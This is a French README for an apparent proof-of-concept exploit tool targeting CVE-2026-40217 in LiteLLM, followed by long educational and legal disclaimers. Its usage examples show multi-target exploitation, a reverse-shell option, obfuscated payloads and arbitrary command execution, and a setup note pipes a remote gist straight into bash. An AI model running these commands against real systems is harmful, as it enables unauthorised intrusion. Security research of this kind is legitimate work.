cve-id

⚡ Utilisation simple

Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que :

• Machines virtuelles locales
• Conteneurs Docker
• Configurations de laboratoire isolées
• Environnements de test d'intrusion autorisés

Exemple de configuration :

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Exemple d'utilisation :

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

Note :

• Si vous clonez depuis un autre projet, vous devez exécuter curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y pour effacer le répertoire .git imbriqué.

Crédit ou Références

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 Dépôt de Recherche en Sécurité Éducative

Un dépôt pour apprendre, tester et rechercher des concepts de cybersécurité dans des environnements contrôlés.

⚠️ Avertissements de Sécurité et Légaux

Objectif

Ce dépôt est destiné uniquement à la recherche en sécurité éducative et autorisée.

Il est conçu pour aider les utilisateurs à en savoir plus sur :

• Vulnérabilités de sécurité
• Concepts de bac à sable et d'isolation
• Pratiques de codage sécurisé et défensives

Utilisation Autorisée Uniquement

Utilisez ce dépôt uniquement dans des environnements où vous avez la permission, tels que :

• Laboratoires personnels ou machines virtuelles
• Environnements Docker ou isolés
• Tests d'intrusion autorisés
• Formation en cybersécurité ou recherche académique

L'utilisation non autorisée ou illégale est strictement interdite.

Aucune Responsabilité

L'auteur et les contributeurs ne sont pas responsables des dommages, mauvais usages, problèmes juridiques ou pertes causés par ce projet.

En utilisant ce dépôt, vous acceptez que :

• Vous êtes responsable de vos propres actions
• Vous l'utiliserez légalement et éthiquement
• Le projet est fourni sans garantie

Utilisation Éthique

Ce projet est destiné à :

• Recherche en sécurité défensive
• Éducation en cybersécurité
• Sensibilisation aux vulnérabilités
• Recherche sur les systèmes et logiciels sécurisés

Veuillez suivre les pratiques de divulgation responsable et respecter toutes les lois applicables.

Contact

Pour une divulgation responsable ou une collaboration, contactez le mainteneur du dépôt via GitHub.